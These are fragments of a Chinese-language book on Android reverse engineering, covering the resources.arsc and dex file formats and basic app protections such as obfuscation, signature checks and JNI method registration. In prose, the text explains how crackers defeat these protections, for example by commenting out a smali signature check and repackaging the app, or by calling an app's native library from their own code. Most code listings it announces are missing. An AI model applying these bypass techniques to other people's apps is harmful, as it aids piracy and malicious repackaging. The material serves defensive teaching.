    {"text": "6.2.2 资源索引表的头部信息 Resources.arsc文件的第一个结构是资源索引表头部，其结构描述了Resources.arsc文件的大小和资源包数量： 参数说明： ·header：就是标准的Chunk头部信息格式。"},
    {"text": "6.2.3 资源项的值字符串资源池 紧跟着资源索引表头部的是资源项的值字符串资源池，这个字符串资源池包含了所有在资源包里面定义的资源项的值字符串，字符串资源池头部的结构如下： 参数说明： ·header：标准的Chunk头部信息结构。"},
    {"text": "图6-5 字符串资源池结构 字符串资源池中的前两个字节为字符串长度，长度计算方法如下代码： 如果字符串编码格式为UTF-8则字符串以0X00作为结束符，UTF-16则以0X0000作为结束符。"},
    {"text": "字符串样式的结构包括如下两个结构体：ResStringPool_ref和ResStringPool_span。 一个字符串可以对应多个ResStringPool_span和一个ResStringPool_ref。 ResStringPool_span在前描述字符串的样式，ResStringPool_ref在后固定值为0XFFFFFFFF作为占位符。 样式块最后会以两个值为0XFFFFFFFF的ResStringPool_ref作为结束。"},
    {"text": "6.2.4 Package数据块 接着资源项的值字符串资源池后面的部分就是Package数据块，这个数据块记录编译包的元数据，头部结构如下： 参数说明： ·header：Chunk的头部信息数据结构。"},
    {"text": "图6-6 Package数据块结构 其中Type String Pool和Key String Pool是两个字符串资源池，结构和资源项的值字符串资源池结构相同，分别对应类型字符串资源池和资源项名称字符串资源池。"},
    {"text": "再接下来的结构体可能是类型规范数据块或者类型资源项数据块，可以通过它们的Type来识别，类型规范数据块的Type为RES_TABLE_TYPE_SPEC_TYPE，类型资源项数据块的Type为RES_TABLE_TYPE_TYPE。 6.2.5 类型规范数据块 类型规范数据块用来描述资源项的配置差异性。"},
    {"text": "·id：标识资源的Type ID。 Type ID是指资源的类型ID。 资源的类型有animator、anim、color、drawable、layout、menu、raw、string和xml等若干种，每一种都会被赋予一个ID。"},
    {"text": "6.2.6 资源类型项数据块 资源类型项数据块用来描述资源项的具体信息，这样就可以知道每一个资源项的名称、值和配置等信息。 资源类型项数据同样是按照类型和配置来组织的，也就是说，一个具有n个配置的类型一共对应有n个类型资源项数据块，其数据块头部结构如下： 参数说明： ·header：Chunk的头部信息结构。"},
    {"text": "ResTable_type后接着是一个大小为entryCount的uint32_t数组，每一个数组元素都用于描述一个资源类型项数据块的偏移位置。 紧跟在这个偏移数组后面的是一个大小为entryCount的ResTable_entry数组，每一个数组元素都用来描述一个资源项的具体信息。 ResTable_entry的结构如下： ResTable_entry根据flags的不同，后面跟随的数据也不相同，如果flags为1，则ResTable_entry是ResTable_map_entry。 ResTable_map_entry继承自ResTable_entry，其结构如下： ResTable_map_entry其后跟随count个ResTable_map类型的数组，ResTable_map的结构如下： 如果flags为0，则ResTable_entry其后跟随的是一个Res_value，描述一个普通资源的值，Res_value结构如下： 参数说明： ·size：ResValue的头部大小。"},
    {"text": "未知 6.3 解析代码 因为篇幅的原因，这里就不把所有的代码都粘贴出来了，后面会列出代码下载地址，首先读取resource.arsc文件到一个字节数组，然后开始解析。 6.3.1 解析头部信息 头部信息代码如下： 解析结果如下： 6.3.2 解析资源字符串内容 解析资源字符串代码如下： 这里有一个核心的方法parseStringPoolChunk： 这里在得到一个字符串的时候，需要得到字符串的开始位置和字符串的大小即可，这点和解析AndroidManifest.xml文件中的字符串原理是一样的。就是一个字符串的头两个字节中的最后一个字节是字符串的长度。这里在解析完字符串之后，需要用一个列表将其存储起来，后面要用到，需要通过索引来取字符串内容。 解析结果如下： 6.3.3 解析包信息 解析包信息代码如下： 这里看到有一个特殊的地方，就是最后两行，这是后面需要重点解析的两个内容，一个是资源值字符串的偏移值，另一个是资源类型字符串的偏移值。 解析结果如下： 6.3.4 解析资源类型的字符串内容 解析资源类型的字符串代码如下： 这里也是用parseStringPoolChunk方法进行解析的，同样也需要用一个字符串列表存储内容。 解析结果如下： 6.3.5 解析资源值字符串内容 解析资源值字符串内容代码如下： 这里也是使用parseStringPoolChunk方法来解析，解析完之后需要用一个字符串列表保存，后面需要使用索引值来访问。 解析结果如下： 6.3.6 解析正文内容 这里说到的正文内容就是ResValue值，是开始构建public.xml中的条目信息，和类型的分离不同的XML文件，所以这部分内容的解析工作有点复杂，如下所示： 这里有一个循环解析，有两个方法，一个是isEnd方法，另一个是isTypeSpec方法。 如果仔细看前面的图6-3，就可以看到后面的ResType和ResTypeSpec两个内容是交替出现的，直到文件结束。 所以isEnd方法就是判断是否到达文件结束位置： 还有一个方法就是判断是ResType还是ResTypeSpec，这可以通过Chunk中头部信息来区分的： 下面分别来解析ResTypeSpec和ResType这两个内容。 1.解析ResTypeSpec 主要得到Res的每个类型名： 解析结果如下： 2.解析ResType 主要得到每个res类型的所有条目内容： 看到这里，发现解析很复杂，和在讲解数据结构的时候一样，需要解析很多内容：ResValue、ResTableMap、ResTableMapEntry、ResTableEntry、ResConfig。关于每个数据结构如何解析这里就不多说了，就是读取字节即可。这里有一个核心的代码： 判断flag的值来进行不同的解析操作。需要注意这点。 解析结果如下： 看到解析结果还是挺欣慰的，因为最难的地方解析成功了，这就是想要的结果。这里需要解释的是，有了这些值构建public.xml内容和各个类型的XML内容就很简单了。 注意，这里ResId的构造方法是： 可以看到一个int类型的resId，它的最高两个字节表示packId，系统资源id是0x01，普通应用资源id是0x7F。它的中间的两个字节表示resTypeId，类型id，这个值从0开始，比如例子中第一个类型是attr，那么它的resTypeId就是00。它的最低四个字节表示这个资源的顺序id，从1开始，逐渐累加1。 提示： 项目下载地址： https://github.com/fourbrother/parse_androidarsc 上面就解析完了所有的resource.arsc文件，解析resource.arsc文件格式的目的有两个： ·在使用apktool工具进行反编译的时候，经常出现一些莫名的异常信息，最多的就是NotFound ResId 0x0000XXX这些内容。那么这时候就需要修复，当然可以得到apktool的源码来解决这个问题，还可以使用自己写的这套解析代码。 ·解析resource.arsc文件之后，对resource.arsc文件格式如果有了解，可以对资源文件名进行混淆，从而减小apk包大小。因为META-INF文件夹下的三个文件体积很大，原因就是它们内部保存了每个资源名称，在项目中有时候为了不造成冲突，就把资源名起的很长，那么这样就会导致apk的包很大。同样resource.arsc文件也会很大，因为资源名都是需要保存的，但是Android中的混淆是不会对资源文件进行混淆的，所以这时候就可以通过这个思路来减小包apk的大小了。 在前面一章中已经介绍了关于aapt命令的用法了，这里依然可以利用aapt命令解析arsc文件，用aapt命令很简单： 将输入的结果定向到demo.txt中，如图6-7所示。 图6-7 用aapt命令输出结果 看到内容就是上面解析的AndroidManifest.xml内容，所以这也是一个解析方法。为何aapt命令最后说呢？因为了解AndroidManifest.xml格式能更好地掌握解析方法。以后记得有一个aapt命令就好了，它的用途很多，可以单独编译成一个resource.arsc文件来，后面会用到这个命令。 未知 6.4 本章小结 Android中的资源文件最后编译成resource.arsc文件，本章介绍了这个文件的格式，在后续的安全防护应用和逆向应用中都有很重要的作用。 未知 第7章 dex文件格式解析 前几章介绍了so文件、AndroidManifest文件、resources文件，本章将介绍dex文件格式的解析。了解dex文件格式对后面的应用安全防护非常有用。 未知 7.1 dex文件格式 下面来看一下dex文件格式说明图，如图7-1所示。 图7-1 dex文件格式（见书后彩图，图片由@非虫授权） dex的文件格式如图7-2所示。 图7-2 dex文件格式"},
    {"text": "未知 7.2 构造dex文件 在讲解dex文件之前，需要先创建一个简单的例子来帮助来解析。不借助任何IDE工具就可以构造一个dex文件。用javac、dx命令即可。创建Java源文件，内容如下代码： 在当前工作路径下，编译方法如下： 1）编译成java class文件。执行命令javac Hello.java。编译完成后，目录下生成Hello.class文件。可以使用命令java Hello来测试下，会输出代码中的“Hello，Android！”的字符串。 2）编译成dex文件。编译工具在Android SDK的路径.：/build-tools/19.0.1/dx，其中19.0.1是Android SDK build_tools的版本，请按照在本地安装的build_tools版本来设置路径。建议该路径加到path环境变量中。 执行命令如下： 编译正常会生成Hello.dex文件。 3）使用ADB运行测试。 测试命令和输出结果如下： 重要说明： ·测试环境使用真机和Android虚拟机都可以，核心的命令是： ·-cp是class path的缩写，后面的Hello是要运行的class名称。网上有描述说输入dalvikvm--help可以看到dalvikvm的帮助文档，但是在Android 4.4的官方模拟器和自己的手机上测试都提示找不到Class路径，在Android老的版本（4.3）上测试还是有输出的。 ·因为命令执行时，dalvikvm会在/data/dalvik-cache/目录下创建.dex文件，因此要求adb的执行Shell对目录/data/dalvik-cache/有读、写和执行的权限，否则无法达到预期效果。"},
    {"text": "header对应为结构体类型，逻辑上的描述用结构体header_item来理解它。 先给出结构体里面用到的数据类型ubyte和uint的解释，然后是结构体的描述，后面对各种结构描述的时候也是用这种方法。"},
    {"text": "代码定义如下： 查看Hex如下： Header的大小固定为0x70，偏移地址从0x00到0x70，提取信息如下： 用一张图来描述各个字段的长度： 里面以_size和_off为后缀的描述为：data_size是以字节为单位描述data区的大小，其余的_size都是描述该区里元素的个数；"},
    {"text": "其余的6个是描述dex文件信息的，各项说明如下： ·magic value：这8个字节一般是常量，为了使dex文件能够被识别出来，它必须出现在dex文件的最开头的位置。"},
    {"text": "数组的值可以转换为一个字符串如下：{0x64 0x65 0x78 0x0a 0x30 0x33 0x35 0x00}=\"dex\\n035\\0\"，中间是一个'\\n'符号后面035是dex文件格式的版本。"},
    {"text": "·file_size：dex文件的大小。 ·header_size：header区域的大小，单位字节，一般固定为0x70常量。 ·endian_tag：大小端标签，标准dex文件格式为小端，此项一般固定为0x1234 5678常量。"},
    {"text": "map_list里先用一个uint描述后面有size个map_item，后续就是对应的size个map_item描述。 map_item结构有4个元素：type表示该map_item的类型，本节能用到的描述如下，详细DalvikExecutable Format里Type Code的定义；"},
    {"text": "每个map_item描述占用12字节，整个map_list占用12*size+4个字节。 所以整个map_list占用空间为12*13+4=160=0x00a0，占用空间为0x 0244~0x 02E3。"},
    {"text": "地址0x0244的一个uinit的值为0x0000000d，map_list->size=0x0d=13，说明后续有13个map_item。 根据map_item的结构描述在0x0248~0x02e3里的值，整理出这段二进制所表示的13个map_item内容，汇成表格如下： map_list→map_item里的内容，有部分item跟header里面相应item的offset地址描述相同。 但map_list描述的更为全面些，又包括了HEADER_ITEM、TYPE_LIST，STRING_DATA_ITEM等，最后还有它自己TYPE_MAP_LIST。 至此，header部分描述完毕，它包括描述dex文件的信息，其余各索引区和data区的偏移信息，一个map_list结构。 map_list里除了对索引区和数据区的偏移地址又一次描述，也有其他诸如HEAD_ITEM、DEBUG_INFO_ITEM等信息。"},
    {"text": "这两个字段表示dex中用到的所有字符串内容的大小和偏移值，需要解析完这部分，然后用一个字符串池存起来，后面有其他的数据结构会用索引值来访问字符串池，这个池子也是非常重要的。"},
    {"text": "这两个字段表示dex中类信息数据结构的大小和偏移值，这个数据结构是整个dex中最复杂的，它内部层次很深，包含了很多其他的数据结构，所以解析起来也很麻烦，所以后面会着重讲解这个数据结构。"},
    {"text": "7.3.2 string_ids数据结构 string_ids区索引了dex文件所有的字符串。 这个区里的元素格式为string_ids_item，可以使用结构体如下描述： 以_ids结尾的各个段里放置的都是对应数据的偏移地址，只是为一个索引，所以才会在dex文件布局里把这些区归类为“索引区”。"},
    {"text": "string_data_off只是一个偏移地址，它指向的数据结构为string_data_item，代码定义如下： 这里涉及LEB128（little endian base 128）格式，是基于1个字节的一种不定长度的编码方式。"},
    {"text": "LEB128这种数据类型的出现其实是为了解决一个问题，那就是减少内存的浪费，它表示整型类型的数值，但是整型类型四个字节有时候在使用的时候有点浪费，它的原理如下所示： 图中使用两个字节表示。"},
    {"text": "将LEB128编码的数字转换为可读数字的规则是：除去每个字节的第7位，将每个字节剩余的7个位拼接在一起，即为数字。 比如：LEB128编码的0x02b0转换后的数字为0x0130。"},
    {"text": "Java中也写了一个工具类： 这个方法是读取dex中Uleb128类型的数据，遇到一个字节最高位=0就停止读下个字节的原理来实现即可，还有一个方法就是解码Uleb128类型的数据： 原理是去除每个字节的最高位，接着拼接剩下的7位，然后重新构造一个整型类型的数据，位不够就从低位开始左移。 通过上面的Uleb128的解释来看，其实Uleb128类型就是1～5个字节来回浮动，为什么是5呢？ 因为它要表示一个4个字节的整型类型，但是每个字节要去除最高位，那么肯定最多只需要5个字节就可以表示4个字节的整型类型数据了。"},
    {"text": "下面回归正题，继续来看string_ids数据结构。 根据string_ids_item和string_data_item的描述，加上header里提供的入口位置string_ids_size=0x0e和string_ids_off=0x70，可以整理出string_ids及其对应的数据如下： string_ids_item和string_data_item里提取出的对应数据表格如下： string里的各种标志符号，诸如L、V、VL、[等在dex文件里有特殊的意思。 string_ids的意思就是找到这些字符串。"},
    {"text": "提示： 后面的解析代码会看到，其实没必要用那么复杂地去解析Uleb128类型，因为会看到这个字符串和我们之前解析XML和resource.arsc格式一样，每个字符串的第一个字节表示字符串的长度，那么只要知道每个字符串的偏移地址就可以解析出字符串的内容了，而每个字符串的偏移地址是存放在string_ids_item中的。"},
    {"text": "下面来继续看type_ids数据结构。 7.3.3 type_ids数据结构 type_ids数据结构中存放的数据主要是描述dex中所有的类型，比如类类型、基本类型等信息。 type_ids区索引了dex文件里的所有数据类型，包括class类型、数组类型（array types）和基本类型（primitive types）。 本区域里的元素格式为type_ids_item，结构描述如下： type_ids_item里面descriptor_idx值的意思是string_ids里的index序号，是用来描述此type的字符串。 根据header里type_ids_size=0x07，type_ids_off=0xa8，找到对应的二进制描述区。 00000a0：1a02，如下所示： 根据type_id_item的描述，整理出表格如下。 因为type_id_item→descriptor_idx里存放的是指向string_ids的index号，所以也能得到该type的字符串描述。 这里出现了3个type descriptor： ·L表示class的详细描述，一般以分号表示class描述结束。"},
    {"text": "7.3.4 proto_ids数据结构 proto的意思是method prototype，代表Java语言里的一个method的原型。 proto_ids里的元素为proto_id_item，结构如下： 其中： ·shorty_idx：跟type_ids一样，它的值是一个string_ids的index号，最终是一个简短的字符串描述，用来说明该method原型。"},
    {"text": "header里proto_ids_size=0x03，proto_ids_off=0xc4，它的二进制描述区如下： 根据proto_id_item和type_list的格式，对照这它们的二进制部分，整理出表格如下： 可以看出，有3个method原型，返回值都为void，index=0的没有参数传入，index=1的传入一个。"},
    {"text": "注意： 在这里会看到很多带idx结尾的字段，这一般都是索引值，所以要注意，区分这个索引值到底是对应的哪张表格，是字符串池，还是类型池等信息，如果弄混淆的话，解析就会出现混乱了。"},
    {"text": "7.3.5 field_ids数据结构 filed_ids区里面存放的是dex文件引用的所有的field。 这个区的元素格式是field_id_item，逻辑结构描述如下所示： 其中： ·class_idx：表示本field所属的class类型，class_idx的值是type_ids的一个index，并且必须指向一个class类型。 ·type_idx：表示本field的类型，它的值也是type_ids的一个index。 ·name_idx：表示本field的名称，它的值是string_ids的一个index。 header里field_ids_size=1，field_ids_off=0xe8。 说明本dex只有一个field，这部分的二进制描述如下： filed_ids只有一些元素，比较简单。"},
    {"text": "7.3.6 method_ids数据结构 method_ids是索引区的最后一个条目，它索引了dex文件里的所有method。 method_ids的元素格式是method_id_item，结构跟fields_ids很相似，如下所示： 其中： ·class_idx：表示该method所属的class类型，class_idx的值是type_ids的一个index，并且必须指向一个class类型。 ·name_idx：表示该method的名称，它的值是string_ids的一个index。 ·proto_idx：描述该method的原型，指向proto_ids的一个index。 header里method_ids_size=0x04，method_ids_off=0xf0。 本部分的二进制描述如下： 整理出表格如下： 对dex反汇编的时候，常用的method表示方法是如下这种形式： 将上述表格里的字符串再次整理下，method的描述分别为： 至此，索引区的内容描述完毕，包括string_ids、type_ids、proto_ids、field_ids、method_ids。"},
    {"text": "7.3.7 class_defs数据结构 上面介绍了所有的索引区域，终于到了最后一个数据结构了，之所以放最后，是因为这个数据结构是最复杂的，层次太深了。"},
    {"text": "则此段二进制描述为： 根据对数据结构class_def_item的描述，整理出表格如下： 其实最初被编译的源码只有几行，和class_def_item的表格对照下，一目了然。 2.class_def_item=>class_data_item class_data_off指向data区里的class_data_item结构，class_data_item里存放着本class使用到的各种数据，下面是class_data_item的逻辑结构： 关于元素的格式Uleb128在string_ids里讲述过，不赘述。"},
    {"text": "encoded_field的结构如下： encoded_method的结构如下： 其中： 1）method_idx_diff：前缀methd_idx表示它的值是method_ids的一个index，后缀_diff表示它是于另外一个method_idx的一个差值，就是相对于encodeed_method[]数组里上一个元素的method_idx的差值。 其实encoded_filed→field_idx_diff表示的也是相同的意思，只是编译出来的Hello.dex文件里没有使用到class filed所以没有仔细讲，详细的参考dex_format.html的官网文档。"},
    {"text": "directive_methods里的值都是Uleb128的原始二进制值。 按照directive_methods的格式encoded_method再整理一次这2个method描述，得到结果如下表格所描述： method一个是<init>，一个是main，这里需要用string_ids那块介绍到的一个方法就是解码uleb128类型的方法得到正确的value值。"},
    {"text": "描述direct_method的结构叫作encoded_method，是用来详细描述某个method的。 4）encoded_method结构，描述某个method的method类型，access flags和一个指向code_item的偏移地址，里面存放的是该method的具体实现。 5）code_item，一层又一层，简要地说，code_item结构里描述着某个method的具体实现。"},
    {"text": "它的结构如下描述： 末尾的3项见图7-2所示，标志为optional，表示可能有，也可能没有，根据具体的代码来： ·registers_size：该段代码使用到的寄存器数目。"},
    {"text": "偏移地址是directive_method[1]→code_off=0x0148，二进制描述如下： 根据code_item的结构整理表格如下： insns数组里的8个二进制原始数据，对这些数据的解析，需要参考官网的文档“Dalvik VM InstructionFormat”和“Bytecode for Dalvik VM”。 分析思路整理如下： 1）“Dalvik VM Instruction Format”里操作符op都是位于首个16位数据的低8位，起始的是op=0x62。 2）在“Bytecode for Dalvik VM”里找到对应的Syntax和format。 3）在“Dalvik VM Instruction Format”里查找21c，得知op=0x62的指令占据2个16位数据，格式是AA|op BBBB，解释为op vAA，type@BBBB。"},
    {"text": "BBBB表示static field的index，就是之前分析的field_ids区里Index=0指向的那个东西，当时的fields_ids的分析结果如下： 对field常用的表述是：包含field的类型→field名称：field类型。"},
    {"text": "5）综上所述，前2个16位数据0x 0062 0000解释为： 其余的6个16位数据分析思路与这个一样，依次整理如下： 6）最后再整理下main method，用容易理解的方式表示出来就是： 看起来很像smali格式语言，不妨使用smali反编译Hello.dex，看看smali生成的代码跟方才推导出来的有什么差异，结果如下： 从内容上看，二者形式上有些差异，但表述的是同一个method。"},
    {"text": "未知 7.4 解析代码 上面解析完了所有的数据结构区域，下面就来看看具体的解析代码，由于篇幅的原因，这里就不贴出全部的代码了，只贴出核心的代码。 7.4.1 解析头部信息 解析代码如下： 这里就是记录几个索引区的偏移值和大小信息，解析结果如下： 7.4.2 解析string_ids索引区 解析代码如下： 解析结果如下： 7.4.3 解析type_ids索引区 解析代码如下： 解析结果如下： 7.4.4 解析proto_ids索引区 解析代码如下： 解析结果如下： 7.4.5 解析field_ids索引区 解析代码如下： 解析结果如下： 7.4.6 解析method_ids索引区 解析代码如下： 解析结果如下： 7.4.7 解析class_def区域 解析代码如下： 解析结果如下： 要想看懂解析结果需要通过class_def的数据结构解析，需要借助“Bytecode for Dalvik VM”查阅具体的指令，然后翻译成具体的指令代码，关于这个指令表可以参考这里： http://www.netmite.com/android/mydroid/dalvik/docs/dalvik-bytecode.html ，所以具体解析并不复杂，这里就不详细解析了，解析思路可以参考class_def的数据结构解析。 提示： 项目下载地址： https://github.com/fourbrother/parse_androiddex 其实Android中有一个工具可以解析dex文件，直接用aapt命令就可以查看了，只是这个工具是dexdump；这个命令也是在AndroidSDK目录下的build-tools下面，可以将打印的结果重定向到demo.txt文件中，如图7-3所示。 图7-3 用aapt命令输出结果 那么上面做的解析工作是不是就没有用了呢？当然不是，后面会看到，解析dex格式有很多用途。 未知 7.5 本章小结 本章主要介绍了Android中的dex文件格式，关于dex文件格式的重要性不必多言，如果能深入了解dex文件格式，在后续的加固应用和逆向应用的时候非常有用，比如一些应用通过前期改变dex的数据结构来进行加固应用，然后在内存中恢复数据结构，要想逆向这样的应用就需要熟练地掌握dex的数据结构知识。有时候还想在内存中篡改指令来改变代码逻辑，这时候也需要通过分析dex的数据结构来找到相对应的内存指令位置，然后进行数据修改。 未知 防护篇 第8章 Android应用安全防护的基本策略 第9章 Android中常用权限分析 第10章 Android中的run-as命令 第11章 Android中的allowBackup属性 第12章 Android中的签名机制 第13章 Android应用加固原理 第14章 Android中的so加固原理 未知 第8章 Android应用安全防护的基本策略 本章主要介绍在开发一个应用的时候，可以通过哪些方式给应用做安全防护，包括以下几个方式：混淆、签名保护、手动注册native方法、反调试检测，通过这些方式能够给应用加上很强的一层保护壳，因此这几种方式在现代很多应用中都会使用到。"},
    {"text": "未知 8.1 混淆机制 在应用中用混淆不仅是为了安全防护，也是为了减小应用安装包的大小，所以每个应用发版之前必须要添加混淆这项功能。现在混淆机制一般有两种：代码混淆和资源混淆。下面分别介绍。 8.1.1 代码混淆 在反编译apk之后，看到的代码类名、方法名以及代码格式看起来不像正常的Android项目代码，那么这时候就会增加阅读难度，增加破解难度，这就是经过混淆的代码，如图8-1所示。 图8-1 代码混淆结构图 现在的破解查看Java层代码有以下两种方式： ·直接先解压classes.dex文件，使用dex2jar工具转化成jar文件，然后再用jd-gui工具进行查看类结构。 ·使用apktool工具直接反编译apk，得到smali源码，阅读smali源码。 不过代码混淆也不是很安全，在破解的过程中一般是找程序的入口，那么这些入口一般都是Application或者是MainActivity之处，因为这些Android中的组件类是不能进行混淆的，所以还是有入口可寻，能够找到入口代码，然后进行跟踪。 8.1.2 资源混淆 上面说到，对代码的混淆能够增加代码阅读难度。为了保护资源也是可以做混淆的，资源混淆原理这里就不多解释了，微信团队已经将这个功能开源，不了解的同学可以去GitHub查看： https://github.com/shwenzhang/AndResGuard 。 当然资源混淆还有一个很大的好处就是减小apk包的大小，这不是本节讨论的知识点，这里讨论的是混淆资源增加破解查找资源的难度，先来看一下混淆资源之后的结果如下所示： 这里可以看到，一个混淆资源的应用，反编译之后查看它的string.xml内容，发现它的name全是简单的混淆字母，那么如果通过name的值来查找对应的字符串内容获取消息，将是很难受的一件事，因为这时候如果全局搜索一个name值的话，比如这里的name='a'，那么得搜出多少个这样的name，查找也很耗时间。 对于混淆资源也不是没有办法，因为一般在反编译之后的Java代码中，看到的获取资源值的时候，并不是资源的name值，而是资源对应的int类型的值，比如这样如下所示： 这里获取一个字符串的值，这些int类型的值，可以在反编译之后的res/values/pulblic.xml中可以找到： 比如这里的2131230929变成16进制就是0x0x7f0800d1，在public.xml中查找，找到了name='ev'的一项，然后再去string.xml中进行name查找： 还是找到了这个字符串的值，反编译之后的public.xml中记录了所有资源的id和整型对应值，混淆之后的代码中看到的都是资源id的整型值，那么这么一看混淆并没有什么用途。 从上面描述的可知，混淆对于破解并没有什么太大的阻碍，也只是一个障眼法，不过混淆有另外一个功能，就是减少apk包的大小，这也是每个应用都添加混淆的最主要原因。 未知 8.2 签名保护 Android中的每个应用都有一个唯一的签名，如果一个应用没有被签名是不允许安装到设备中的，一般在运行debug程序的时候也是有默认的签名文件的，只是IDE帮开发者做了签名工作，在应用发版的时候会用唯一的签名文件进行签名。那么在以往的破解中可以看到，有时候需要在反编译应用之后，重新签名再打包运行，这又给很多二次打包团队谋取利益提供了一种手段。就是反编译市场中的包，然后添加一些广告代码，最后使用自家的签名重新打包发布到市场中，因为签名在反编译之后是获取不到的，所以只能用自己的签名文件去签名，但是在已经安装了应用设备再去安装一个签名不一致的应用会导致安装失败，这样也有一个问题就是有些用户安装了这些二次打包的应用之后，无法再安装正规的应用了，只有卸载重装。根据这个原理可以利用应用的签名是唯一的特性做一层防护。 为了防止应用被二次打包，在程序入口处添加签名验证，如果发现应用的签名不正确就立即退出程序，可以在应用启动的时候获取应用的签名值，然后和正确的签名值作比对，如果不符合就直接退出程序。下面做一个简单的案例测试一下，如下所示： 这里定义一个简单的工具类用于比较应用的签名，只是简单处理，正常情况下这里应该比对签名的MD5值，为了简单就忽略了，然后在程序的入口处做一次比对，如果不正确就退出程序如下所示。 得到上面的apk之后，下面来反编译，重新签名安装（关于这里如何反编译和签名，不做解释了，使用apktool和jarsigner工具即可，签名文件是自己的），然后运行如下所示： 发现程序根本运行不起来，一点击就闪退，这就说明做到了防止应用被二次签名打包。 但是这也不是最安全的，因为既然有签名比对方法的地方，那么只需要反编译apk之后，修改smali语法，把这个方法调用的地方注释即可，如下所示： 只需要使用#把这行代码注释，然后回编译重新打包安装即可。这里的难点是如何找到这个检测签名方法的地方，比如有的程序在native层做的，但是不管在哪里，只要是在代码中，就可以找出来的。"},
    {"text": "未知 8.3 手动注册native方法 这个方法其实不太常用，因为它的安全措施不是很强大，但是也是可以起到一定的作用，在说这个知识点的时候，先来了解一下so加载的流程。"},
    {"text": "与此同时，产生一个Load事件，这个事件触发后，程序默认会在载入的.so文件的函数列表中查找JNI_OnLoad函数并执行。 与Load事件相对，当载入的.so文件被卸载时，Unload事件被触发。 此时，程序默认会去在载入的.so文件的函数列表中查找JNI_OnUnload函数并执行，然后卸载.so文件。 需要注意的是，JNI_OnLoad与JNI_OnUnload这两个函数在.so组件中并不是强制要求的，用户也可以不去实现，Java代码一样可以调用到C组件中的函数，之所以在C组件中去实现这两个函数（特别是JNI_OnLoad函数），往往是做一个初始化工作或“善后”工作。 可以这样认为，将JNI_ONLoad看成是.so组件的初始化函数，当其第一次被装载时被执行（Window下的dll文件也可类似的机制，在_DLL_Main（）函数中，通过一个swith case语句来识别当前是载入还是卸载）。 将JNI_OnUnload函数看成是析构函数，当其被卸载时被调用。 由此看来，就不难明白为什么很多jni C组件中会实现JNI_OnLoad这个函数了。 一般情况下，在C组件中的JNI_OnLoad函数用来实现给VM注册接口，以方便VM可以快速地找到Java代码需要调用的C函数。 （此外，JNI_OnLoad函数还有另外一个功能，那就是告诉VM此C组件使用那一个JNI版本，如果未实现JNI_OnLoad函数，则默认是JNI 1.1版本。"},
    {"text": "可以这么想象一下，假设VM内部一个native函数链表，初始时是空的，在未显式注册之前，此native函数链表是空的，每次Java调用native函数之前会首先在此链表中查找需要调用的native函数，如果找到就直接使用，如果未找到，得再通过载入的.so文件中的函数列表中去查找，且每次Java调用native函数都是进行这样的流程。"},
    {"text": "为了克服这个问题，我们可以通过在.so文件载入初始化时，即JNI_OnLoad函数中，先行将native函数注册到VM的native函数链表中去，这样一来，后续每次Java调用native函数时都会在VM中的native函数链表中找到对应的函数，从而加快速度。 通过上面的分析之后，so文件加载和卸载的时机，可以显示的手动注册自己的native方法，那么一般在定义native方法的时候，对应的native层的函数名是：Java_类名_方法名，样式如下： 所以就有两个问题： ·第一个问题是在IDA工具查看so文件的时候，去找到对应的native方法非常容易，因为知道了Java层的native方法名和类型，那么直接可以定位到这个native函数如图8-2所示。 ·第二问题是恶意攻击者可以得到这个so文件之后，查看这个native方法的参数和返回类型，也就是方法签名，然后自己在Java层写一个demo程序，然后构造一个和so文件中对应的native方法，就可以执行这个native方法，如果有一个校验密码或者是获取密码的方法是个native的，那么这时候就会很容易被攻击者执行方法后获取结果。 图8-2 IDA查看so中的函数名 说得简单点，比如上面的这个isEquals例子：现在有一个攻击者，想执行这个应用的isEquals方法，那么它只需要解压apk文件，得到so文件，查看so文件中的函数，或者查看上层的Java代码，得到这个方法的返回值和签名，然后他就可以编写一个简单的程序，构造一个类： 然后在它内部定义一个native方法： 再使用System.loadLibrary加载应用的so文件，然后在适当的地方执行isEquals方法，这样就等于调用了so文件中的isEquals方法了。"},
    {"text": "这个函数就是手动注册一个native方法，属于JNIEnv*的，参数也比较简单。 clazz就是需要注册native方法的那个类，是jclass类型，这可以使用JNIEnv的FindClass方法，传递类的名称即可获取这个对象，如下所示： methods是一个结构体，定义如下： ·name是Java中函数的名字。"},
    {"text": "类似于这样的结构如下所示： 第二个函数是jint JNI_OnLoad（JavaVM*vm，void*reserved）。 这个函数就是上面说到的，加载so的时候被调用到，同时可以在这里获取JVM参数的，一般在这个函数中主要就是执行上面的注册函数功能，这里还需要获取一个JNIEnv*变量，如下所示： 这里通过JVM来获取JNIEnv变量，然后调用注册函数，如下所示： 第三个函数是void JNI_OnUnload（JavaVM*vm，void*reserved）。 这个函数和JNI_OnLoad是相对应的，是在so被卸载的时候调用。"},
    {"text": "通过上面的三个函数就可以手动显示地注册native方法了，那么就可以修改native层的函数名，不要按照之前的那种格式了，增加破解者寻找关键的native层函数的难度。 这里把isEquals函数名变成了jiangwei，如下所示： 然后再修改注册方法的结构体，如下所示： 编译运行，使用IDA查看，如图8-3所示。 图8-3 IDA工具查看函数名 这时候破解者不能按照常规的套路找到native层的函数了，那么上面的两个问题就可以避免了，增加安全性。 但是问题来了，现在的破解者，一般打开so文件的时候，如果找不到对应的native方法之后，就会去找JNI_OnLoad函数，然后通过分析ARM汇编代码，找到register函数，分析注册方法结构体，找到对应的native方法。"},
    {"text": "不过通过这个例子也可以得知，在JNI_OnLoad中可以做很多事，比如上面说的签名机制校验，也可以在JNI_OnLoad中做一次，增加安全性，如下所示： 看看equal_sign函数功能，如图8-4所示。 图8-4 校验签名 在这个方法中，用JNIEnv变量调用了Java层的方法，来获取应用的签名，然后进行比对。"},
    {"text": "用这种签名校验方式来做安全性保证也是一个思路，至少native层的代码分析比smali代码分析难度大点，而且这种签名校验机制必须用静态方式去破解apk，也就是通过分析代码来破解，因为程序没有运行起来无法通过动态方式破解的。"},
